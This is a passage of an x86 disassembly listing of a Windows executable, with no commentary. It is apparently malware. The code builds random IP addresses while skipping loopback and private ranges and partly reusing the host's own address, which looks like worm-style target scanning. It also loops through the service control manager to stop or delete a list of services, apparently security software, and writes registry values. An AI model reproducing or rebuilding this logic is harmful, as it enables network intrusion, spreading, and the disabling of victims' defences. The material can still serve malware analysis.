I N E ======================================= ; Attributes: bp-based frame sub_43FD86 proc near ; CODE XREF: .data:loc_43FDFAp var_32 = byte ptr -32h push ebp mov ebp, esp sub esp, 34h push esi push edi push 31h lea eax, [ebp+var_32] push eax call sub_440579 cmp eax, 0FFFFFFFFh jnz short loc_43FDA2 xor eax, eax jmp short loc_43FDBC ; --------------------------------------------------------------------------- loc_43FDA2: ; CODE XREF: sub_43FD86+16j lea eax, [ebp+var_32] push eax call sub_44056D mov edi, eax or edi, edi jnz short loc_43FDB5 xor eax, eax jmp short loc_43FDBC ; --------------------------------------------------------------------------- loc_43FDB5: ; CODE XREF: sub_43FD86+29j mov eax, [edi+0Ch] mov esi, [eax] mov eax, [esi] loc_43FDBC: ; CODE XREF: sub_43FD86+1Aj ; sub_43FD86+2Dj pop edi pop esi leave retn sub_43FD86 endp ; sp-analysis failed ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 13Ch push ebx push esi push edi call sub_4406F5 push eax call sub_440911 mov esi, 254h mov eax, esi add eax, 0Ah push eax push 0 call sub_440731 mov ebx, eax push esi push 4040BFh push ebx call sub_4408C9 add esp, 10h loc_43FDFA: ; CODE XREF: .data:0043FE14j ; .data:0043FE4Ej ... call sub_43FD86 mov [ebp-10Ch], eax or eax, eax jnz short loc_43FE16 push 384h call sub_4408B1 pop ecx jmp short loc_43FDFA ; --------------------------------------------------------------------------- loc_43FE16: ; CODE XREF: .data:0043FE07j mov al, [ebp-10Ch] mov [ebp-111h], al mov al, [ebp-10Bh] mov [ebp-112h], al mov al, [ebp-10Ah] mov [ebp-135h], al cmp byte ptr [ebp-111h], 7Fh jnz short loc_43FE50 push 384h call sub_4408B1 pop ecx jmp short loc_43FDFA ; --------------------------------------------------------------------------- loc_43FE50: ; CODE XREF: .data:0043FE41j lea eax, [ebp-130h] push eax call sub_43F624 push 0 call sub_4408B1 add esp, 8 call sub_4408ED mov ecx, 0FDh cdq idiv ecx mov edi, edx inc edi mov edx, edi mov [ebp-134h], dl call sub_4408ED mov ecx, 0FDh cdq idiv ecx mov edi, edx inc edi mov edx, edi mov [ebp-131h], dl call sub_4408ED mov ecx, 0FDh cdq idiv ecx mov edi, edx inc edi mov edx, edi mov [ebp-132h], dl call sub_4408ED mov ecx, 0Ah cdq idiv ecx mov [ebp-133h], dl mov al, [ebp-133h] cmp al, 5 jnb short loc_43FEED mov al, [ebp-112h] mov [ebp-134h], al mov al, [ebp-133h] cmp al, 3 jnb short loc_43FEED mov al, [ebp-135h] mov [ebp-131h], al loc_43FEED: ; CODE XREF: .data:0043FEC9j ; .data:0043FEDFj cmp byte ptr [ebp-111h], 0Ah jnz short loc_43FF22 movzx eax, byte ptr [ebp-132h] push eax movzx eax, byte ptr [ebp-131h] push eax movzx eax, byte ptr [ebp-134h] push eax push 404D49h lea eax, [ebp-130h] push eax call sub_440905 add esp, 14h loc_43FF22: ; CODE XREF: .data:0043FEF4j movzx eax, byte ptr [ebp-111h] cmp eax, 0ACh jnz short loc_43FF7C mov al, [ebp-112h] cmp al, 0Fh jbe short loc_43FF7C cmp al, 21h jnb short loc_43FF7C call sub_4408ED movzx edi, byte ptr [ebp-132h] push edi movzx edi, byte ptr [ebp-131h] push edi mov edx, eax and edx, 8000000Fh jge short loc_43FF62 dec edx or edx, 0FFFFFFF0h inc edx loc_43FF62: ; CODE XREF: .data:0043FF5Bj mov edi, edx add edi, 10h push edi push 404D3Ch lea edi, [ebp-130h] push edi call sub_440905 add esp, 14h loc_43FF7C: ; CODE XREF: .data:0043FF2Ej ; .data:0043FF38j ... movzx eax, byte ptr [ebp-111h] cmp eax, 0C0h jnz short loc_43FFBC movzx eax, byte ptr [ebp-112h] cmp eax, 0A8h jnz short loc_43FFBC movzx eax, byte ptr [ebp-132h] push eax movzx eax, byte ptr [ebp-131h] push eax push offset sub_404D2E lea eax, [ebp-130h] push eax call sub_440905 add esp, 10h loc_43FFBC: ; CODE XREF: .data:0043FF88j ; .data:0043FF96j lea eax, [ebp-130h] push eax call sub_440591 cmp [ebp-10Ch], eax jz loc_43FDFA push dword ptr [ebp-10Ch] call sub_44059D movzx edi, word ptr ds:loc_404092+2 push edi push eax push 404D27h lea edi, [ebp-0FFh] push edi call sub_440905 add esp, 10h loc_43FFFC: ; CODE XREF: .data:00440025j lea ecx, [ebp-0FFh] or eax, 0FFFFFFFFh loc_440005: ; CODE XREF: .data:0044000Aj inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_440005 cmp eax, 19h jz short loc_440027 push 404D25h lea eax, [ebp-0FFh] push eax call sub_44091D add esp, 8 jmp short loc_43FFFC ; --------------------------------------------------------------------------- loc_440027: ; CODE XREF: .data:0044000Fj lea ecx, [ebp-0FFh] or eax, 0FFFFFFFFh loc_440030: ; CODE XREF: .data:00440035j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_440030 push eax lea edi, [ebp-0FFh] push edi mov edi, ebx add edi, 9 push edi call sub_4408C9 add esp, 0Ch lea eax, [ebp-130h] push eax call sub_440591 push esi push ebx push eax call sub_43F725 add esp, 0Ch mov [ebp-13Ch], eax push 0 call sub_4408B1 add esp, 4 jmp loc_43FDFA ; --------------------------------------------------------------------------- db 5Fh, 5Eh, 5Bh dd 4C2C9h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_440080 proc near ; CODE XREF: .data:004400C2p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx call sub_440701 cmp eax, 80000000h jb short loc_440097 mov eax, 3Ch jmp short locret_4400B8 ; --------------------------------------------------------------------------- loc_440097: ; CODE XREF: sub_440080+Ej push 0 lea eax, [ebp+var_4] push eax call sub_4405E5 and [ebp+var_4], 2 cmp [ebp+var_4], 2 jnz short loc_4400B3 mov eax, 12Ch jmp short locret_4400B8 ; --------------------------------------------------------------------------- loc_4400B3: ; CODE XREF: sub_440080+2Aj mov eax, 64h locret_4400B8: ; CODE XREF: sub_440080+15j ; sub_440080+31j leave retn sub_440080 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push eax push ebx push esi push edi call sub_440080 mov ebx, eax lea eax, [ebp-4] push eax push 0 push 0 push 401565h push 0 push 0 call sub_440791 push eax call sub_4406E9 xor esi, esi jmp short loc_44011B ; --------------------------------------------------------------------------- loc_4400E9: ; CODE XREF: .data:0044011Dj lea eax, [ebp-4] push eax push 0 push 0 push 401E23h push 0 push 0 call sub_440791 push eax call sub_4406E9 mov eax, 0EA60h xor edx, edx div ebx mov [ebp-8], eax mov edi, eax push eax call sub_4408B1 pop ecx inc esi loc_44011B: ; CODE XREF: .data:004400E7j cmp esi, ebx jb short loc_4400E9 pop edi pop esi pop ebx leave retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_440126 proc near ; CODE XREF: sub_4403F5+ACp var_388 = dword ptr -388h var_384 = dword ptr -384h var_380 = dword ptr -380h var_37C = dword ptr -37Ch var_378 = dword ptr -378h var_374 = dword ptr -374h var_370 = dword ptr -370h var_36C = byte ptr -36Ch var_16C = dword ptr -16Ch var_168 = byte ptr -168h var_164 = dword ptr -164h var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = byte ptr -20h var_1C = dword ptr -1Ch var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 388h push ebx push esi push edi lea edi, [ebp+var_16C] lea esi, loc_404A2F+9 mov ecx, 51h rep movsd and [ebp+var_24], 0 loc_440149: ; CODE XREF: sub_440126+211j push 0F003Fh push 0 push 0 call sub_440839 mov [ebp+var_28], eax or eax, eax jz loc_440330 push 0F003Fh mov eax, 0Ch mul [ebp+var_24] mov [ebp+var_370], eax push [ebp+eax+var_16C] push [ebp+var_28] call sub_440845 mov ebx, eax or eax, eax jz loc_440328 lea eax, [ebp+var_20] push eax push 1 push ebx call sub_440821 mov [ebp+var_4], eax and [ebp+var_4], 0 loc_4401A1: ; CODE XREF: sub_440126+A4j lea eax, [ebp+var_20] push eax push 4 push ebx call sub_440821 or eax, eax jz short loc_4401B7 cmp [ebp+var_1C], 1 jnz short loc_4401B9 loc_4401B7: ; CODE XREF: sub_440126+89j jmp short loc_4401CC ; --------------------------------------------------------------------------- loc_4401B9: ; CODE XREF: sub_440126+8Fj push 3E8h call sub_44076D inc [ebp+var_4] cmp [ebp+var_4], 0Ah jb short loc_4401A1 loc_4401CC: ; CODE XREF: sub_440126:loc_4401B7j mov eax, 0Ch mul [ebp+var_24] mov [ebp+var_374], eax cmp [ebp+eax+var_168], 0 jz short loc_4401EA push ebx call sub_44082D loc_4401EA: ; CODE XREF: sub_440126+BCj push ebx call sub_440815 mov eax, 0Ch mul [ebp+var_24] mov [ebp+var_378], eax cmp [ebp+eax+var_164], 0 jz loc_440328 mov eax, 0Ch mul [ebp+var_24] mov [ebp+var_37C], eax mov eax, [ebp+eax+var_164] cmp byte ptr [eax], 0 jnz loc_4402B0 push 0 push 18h lea eax, [ebp+var_36C] push eax push 0 call sub_4405F1 or eax, eax jz short loc_4402B0 lea ecx, [ebp+var_36C] or eax, 0FFFFFFFFh loc_440249: ; CODE XREF: sub_440126+128j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_440249 mov [ebp+var_4], eax cmp [ebp+var_4], 1 jbe short loc_44027D mov eax, [ebp+var_4] sub eax, 1 cmp [ebp+eax+var_36C], 5Ch jz short loc_44027D push 404BA0h lea eax, [ebp+var_36C] push eax call sub_44091D add esp, 8 loc_44027D: ; CODE XREF: sub_440126+131j ; sub_440126+141j mov eax, 0Ch mul [ebp+var_24] mov [ebp+var_380], eax mov eax, [ebp+eax+var_164] push dword ptr [eax+8] lea eax, [ebp+var_36C] push eax call sub_44091D add esp, 8 lea eax, [ebp+var_36C] push eax call sub_44079D loc_4402B0: ; CODE XREF: sub_440126+FEj ; sub_440126+118j mov eax, 0Ch mul [ebp+var_24] mov [ebp+var_380], eax mov eax, [ebp+eax+var_164] cmp byte ptr [eax], 1 jnz short loc_440328 lea eax, [ebp+var_4] push eax push 20006h push 0 mov eax, 0Ch mul [ebp+var_24] mov [ebp+var_384], eax mov edx, [ebp+eax+var_164] push dword ptr [edx+4] mov eax, [ebp+eax+var_164] push dword ptr [eax+0Ch] call sub_440875 or eax, eax jnz short loc_440328 mov eax, 0Ch mul [ebp+var_24] mov [ebp+var_388], eax mov eax, [ebp+eax+var_164] push dword ptr [eax+8] push [ebp+var_4] call sub_440851 push [ebp+var_4] call sub_440869 loc_440328: ; CODE XREF: sub_440126+62j ; sub_440126+E0j ... push [ebp+var_28] call sub_440815 loc_440330: ; CODE XREF: sub_440126+36j inc [ebp+var_24] cmp [ebp+var_24], 1Bh jb loc_440149 pop edi pop esi pop ebx leave retn 4 sub_440126 endp ; sp-analysis failed ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 10h push edi mov eax, [ebp+0Ch] cmp eax, 10h jz short loc_4403D2 jg short loc_44035F cmp eax, 2 jz short loc_4403C9 jmp loc_4403DF ; --------------------------------------------------------------------------- loc_44035F: ; CODE XREF: .data:00440353j cmp eax, 113h jnz short loc_4403DF and dword ptr [ebp-4], 0 mov dword ptr [ebp-8], 4 lea eax, [ebp-10h] push eax lea eax, [ebp-8] push eax lea eax, [ebp-4] push eax push 404B81h push offset sub_404B85 push 80000001h call sub_43F364 mov eax, dword ptr ds:loc_404097+1 mov [ebp-0Ch], eax add [ebp-4], eax push 4 push 4 lea eax, [ebp-4] push eax push 404B81h push offset sub_404B85 push 80000001h call sub_43F2F9 add esp, 30h push 0 push 404098h call sub_440719 jmp short loc_4403F0 ; --------------------------------------------------------------------------- loc_4403C9: ; CODE XREF: .data:00440358j push 0 call sub_4407E5 jmp short loc_4403F0 ; --------------------------------------------------------------------------- loc_4403D2: ; CODE XREF: .data:00440351j push dword ptr ds:loc_402FFF+1 call sub_4407FD jmp short loc_4403F0 ; --------------------------------------------------------------------------- loc_4403DF: ; CODE XREF: .data:0044035Aj ; .data:00440364j push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_440809 loc_4403F0: ; CODE XREF: .data:004403C7j ; .data:004403D0j ... pop edi leave retn 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4403F5 proc near ; CODE XREF: sub_4405FD+5Cp var_2DC = byte ptr -2DCh var_2D8 = byte ptr -2D8h var_148 = dword ptr -148h var_143 = byte ptr -143h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch arg_0 = dword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 2DCh push edi mov edi, [ebp+arg_0] push [ebp+arg_8] push offset sub_403010 call sub_440681 push 404B7Ch lea eax, [ebp+var_143] push eax call sub_440905 and [ebp+var_44], 0 lea eax, sub_4023A7 mov [ebp+var_40], eax and [ebp+var_3C], 0 and [ebp+var_38], 0 mov [ebp+var_34], edi and [ebp+var_30], 0 and [ebp+var_2C], 0 and [ebp+var_28], 0 and [ebp+var_24], 0 lea eax, [ebp+var_143] mov [ebp+var_20], eax lea eax, [ebp+var_44] push eax call sub_4407B5 push 0 push edi push 0 push 0 push 0 push 0 push 0 push 0 push 0CF0000h push 404D25h lea eax, [ebp+var_143] push eax push 0 call sub_4407F1 mov dword ptr ds:loc_402FFF+1, eax call sub_4406C5 push eax call sub_43F2D4 lea eax, [ebp+var_2D8] push eax push 2 call sub_440531 push 0 call sub_440126 lea eax, [ebp+var_2DC] push eax push 0 push 0 push 40211Dh push 0 push 0 call sub_440791 push eax call sub_4406E9 and [ebp+var_148], 0 push 4 push 4 lea eax, [ebp+var_148] push eax push 404B81h push offset sub_404B85 push 80000001h call sub_43F2F9 add esp, 24h push 0 push 2710h push 1 push dword ptr ds:loc_402FFF+1 call sub_4407A9 jmp short loc_440516 ; --------------------------------------------------------------------------- loc_440504: ; CODE XREF: sub_4403F5+132j lea eax, [ebp+var_1C] push eax call sub_4407CD lea eax, [ebp+var_1C] push eax call sub_4407D9 loc_440516: ; CODE XREF: sub_4403F5+10Dj push 0 push 0 push 0 lea eax, [ebp+var_1C] push eax call sub_4407C1 or eax, eax jnz short loc_440504 pop edi leave retn 10h sub_4403F5 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 10h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_440531 proc near ; CODE XREF: sub_4403F5+A5p jmp dword ptr ds:loc_40524C sub_440531 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_44053D proc near ; CODE XREF: .data:0043F5FBp jmp dword ptr ds:loc_40524D+3 sub_44053D endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_440549 proc near ; CODE XREF: .data:0043F5C8p jmp dword ptr ds:loc_40524D+7 sub_440549 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_440555 proc near ; CODE XREF: .data:0043F4F6p ; sub_43F725+651p jmp dword ptr ds:loc_405256+2 sub_440555 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_440561 proc near ; CODE XREF: sub_43F725+1BAp jmp dword ptr ds:loc_405256+6 sub_440561 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_44056D proc near ; CODE XREF: sub_43FD86+20p jmp dword ptr ds:loc_40525D+3 sub_44056D endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_440579 proc near ; CODE XREF: sub_43FD86+Ep jmp dword ptr ds:loc_405263+1 sub_440579 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_440585 proc near ; CODE XREF: .data:0043F5B6p ; sub_43F725+197p jmp dword ptr ds:loc_405263+5 sub_440585 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_440591 proc near ; CODE XREF: .data:0043FFC3p ; .data:00440054p jmp dword ptr ds:loc_40526B+1 sub_440591 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_44059D proc near ; CODE XREF: sub_43F725+63p ; .data:0043FFDAp jmp dword ptr ds:loc_40526E+2 sub_44059D endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4405A9 proc near ; CODE XREF: .data:0043F5E6p jmp dword ptr ds:loc_405274 sub_4405A9 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4405B5 proc near ; CODE XREF: .data:0043F3D6p ; sub_43F725+20Bp ... jmp dword ptr ds:loc_405275+3 sub_4405B5 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4405C1 proc near ; CODE XREF: .data:0043F428p ; .data:0043F464p ... jmp dword ptr ds:loc_40527A+2 sub_4405C1 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4405CD proc near ; CODE XREF: .data:0043F4EEp ; sub_43F725+649p jmp dword ptr ds:loc_40527A+6 sub_4405CD endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4405D9 proc near ; CODE XREF: .data:0043F57Fp ; sub_43F725+48p jmp dword ptr ds:loc_405281+3 sub_4405D9 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4405E5 proc near ; CODE XREF: sub_440080+1Dp jmp dword ptr ds:loc_40528F+1 sub_4405E5 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4405F1 proc near ; CODE XREF: sub_440126+111p jmp dword ptr ds:loc_405299+3 sub_4405F1 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4405FD proc near ; CODE XREF: .data:0043F21Cp var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push edi call sub_4406B9 mov edi, eax cmp byte ptr [edi], 22h jnz short loc_440631 push 22h mov eax, edi inc eax push eax call sub_440929 add esp, 8 mov [ebp+var_4], eax or eax, eax jz short loc_44064C mov edi, eax inc edi jmp short loc_440629 ; --------------------------------------------------------------------------- loc_440628: ; CODE XREF: sub_4405FD+2Fj inc edi loc_440629: ; CODE XREF: sub_4405FD+29j cmp byte ptr [edi], 20h jz short loc_440628 jmp short loc_44064C ; --------------------------------------------------------------------------- loc_440630: ; CODE XREF: sub_4405FD+3Ej inc edi loc_440631: ; CODE XREF: sub_4405FD+Fj movsx eax, byte ptr [edi] or eax, eax jz short loc_44063D cmp eax, 20h jnz short loc_440630 loc_44063D: ; CODE XREF: sub_4405FD+39j jmp short loc_440640 ; --------------------------------------------------------------------------- loc_44063F: ; CODE XREF: sub_4405FD+4Dj inc edi loc_440640: ; CODE XREF: sub_4405FD:loc_44063Dj movsx eax, byte ptr [edi] or eax, eax jz short loc_44064C cmp eax, 20h jz short loc_44063F loc_44064C: ; CODE XREF: sub_4405FD+24j ; sub_4405FD+31j ... push 0 call sub_4406DD push 1 push edi push 0 push eax call sub_4403F5 pop edi leave retn sub_4405FD endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_440661 proc near ; CODE XREF: sub_43F725+8p var_FFC = dword ptr -0FFCh pop ecx loc_440662: ; CODE XREF: sub_440661+14j sub esp, 1000h sub eax, 1000h test [esp+0FFCh+var_FFC], eax cmp eax, 1000h jnb short loc_440662 sub esp, eax test [esp+0FFCh+var_FFC], eax jmp ecx sub_440661 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 10h db 0 ; =============== S U B R O U T I N E ======================================= sub_440681 proc near ; CODE XREF: sub_4403F5+15p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] xor eax, eax mov ecx, 0FFFFFFFFh xchg edi, edx repne scasb neg ecx lea ecx, [ecx-1] mov eax, [esp+arg_4] xchg eax, esi mov edi, [esp+arg_0] rep movsb xchg eax, esi xchg edx, edi mov eax, [esp+arg_0] retn 8 sub_440681 endp ; --------------------------------------------------------------------------- align 4 db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4406AD proc near ; CODE XREF: .data:0043F53Cp jmp dword ptr ds:loc_4052A8 sub_4406AD endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4406B9 proc near ; CODE XREF: sub_4405FD+5p jmp dword ptr ds:loc_4052A8+4 sub_4406B9 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4406C5 proc near ; CODE XREF: sub_4403F5+91p jmp dword ptr ds:loc_4052B0 sub_4406C5 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4406D1 proc near ; CODE XREF: .data:0043F544p jmp dword ptr ds:loc_4052B2+2 sub_4406D1 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4406DD proc near ; CODE XREF: sub_4405FD+51p jmp dword ptr ds:loc_4052B2+6 sub_4406DD endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4406E9 proc near ; CODE XREF: .data:0043F574p ; .data:0043F618p ... jmp dword ptr ds:loc_4052B9+3 sub_4406E9 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4406F5 proc near ; CODE XREF: .data:0043FDCCp jmp dword ptr ds:loc_4052C0 sub_4406F5 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_440701 proc near ; CODE XREF: sub_440080+4p jmp dword ptr ds:loc_4052C0+4 sub_440701 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_44070D proc near ; CODE XREF: sub_43F2D4+1Ep jmp dword ptr ds:loc_4052C7+1 sub_44070D endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_440719 proc near ; CODE XREF: .data:0043F512p ; .data:004403C2p jmp dword ptr ds:loc_4052C7+5 sub_440719 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_440725 proc near ; CODE XREF: .data:0043F4B6p jmp dword ptr ds:loc_4052CE+2 sub_440725 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_440731 proc near ; CODE XREF: .data:0043F551p ; .data:0043FDE4p jmp dword ptr ds:loc_4052CE+6 sub_440731 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_44073D proc near ; CODE XREF: .data:0043F52Ep jmp dword ptr ds:loc_4052D6+2 sub_44073D endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_440749 proc near ; CODE XREF: .data:0043F56Ep jmp dword ptr ds:loc_4052D6+6 sub_440749 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_440755 proc near ; CODE XREF: sub_43F017+13p jmp dword ptr ds:loc_4052DD+3 sub_440755 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_440761 proc near ; CODE XREF: .data:0043F58Cp ; sub_43F725+17Ep jmp dword ptr ds:loc_4052E4 sub_440761 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_44076D proc near ; CODE XREF: .data:0043F4AAp ; .data:0043F4E4p ... jmp dword ptr ds:loc_4052E4+4 sub_44076D endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_440779 proc near ; CODE XREF: sub_43F725+72p jmp dword ptr ds:loc_4052E4+8 sub_440779 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_440785 proc near ; CODE XREF: sub_43F725+BBp ; sub_43F725+D9p ... jmp dword ptr ds:loc_4052EE+2 sub_440785 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_440791 proc near ; CODE XREF: .data:0043F612p ; .data:004400DAp ... jmp dword ptr ds:loc_4052F3+1 sub_440791 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_44079D proc near ; CODE XREF: sub_440126+185p jmp dword ptr ds:loc_4052F5+3 sub_44079D endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4407A9 proc near ; CODE XREF: sub_4403F5+108p jmp dword ptr ds:loc_405302+2 sub_4407A9 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4407B5 proc near ; CODE XREF: sub_4403F5+60p jmp dword ptr ds:loc_405308 sub_4407B5 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4407C1 proc near ; CODE XREF: sub_4403F5+12Bp jmp dword ptr ds:loc_405309+3 sub_4407C1 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4407CD proc near ; CODE XREF: sub_4403F5+113p jmp dword ptr ds:loc_405310 sub_4407CD endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4407D9 proc near ; CODE XREF: sub_4403F5+11Cp jmp dword ptr ds:loc_405311+3 sub_4407D9 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4407E5 proc near ; CODE XREF: .data:004403CBp jmp dword ptr ds:loc_405318 sub_4407E5 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4407F1 proc near ; CODE XREF: sub_4403F5+87p jmp dword ptr ds:loc_40531A+2 sub_4407F1 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4407FD proc near ; CODE XREF: .data:004403D8p jmp dword ptr ds:loc_405320 sub_4407FD endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_440809 proc near ; CODE XREF: .data:004403EBp jmp dword ptr ds:loc_405320+4 sub_440809 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_440815 proc near ; CODE XREF: sub_440126+C5p ; sub_440126+205p jmp dword ptr ds:loc_40532D+3 sub_440815 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_440821 proc near ; CODE XREF: sub_440126+6Fp ; sub_440126+82p jmp dword ptr ds:loc_405332+2 sub_440821 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_44082D proc near ; CODE XREF: sub_440126+BFp jmp dword ptr ds:loc_405337+1 sub_44082D endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_440839 proc near ; CODE XREF: sub_440126+2Cp jmp dword ptr ds:loc_405339+3 sub_440839 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_440845 proc near ; CODE XREF: sub_440126+59p jmp dword ptr ds:loc_405340 sub_440845 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_440851 proc near ; CODE XREF: sub_440126+1F5p jmp dword ptr ds:loc_405340+4 sub_440851 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_44085D proc near ; CODE XREF: sub_43F2F9+21p jmp dword ptr ds:loc_405347+1 sub_44085D endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_440869 proc near ; CODE XREF: sub_43F2F9+4Bp ; sub_43F364+40p ... jmp dword 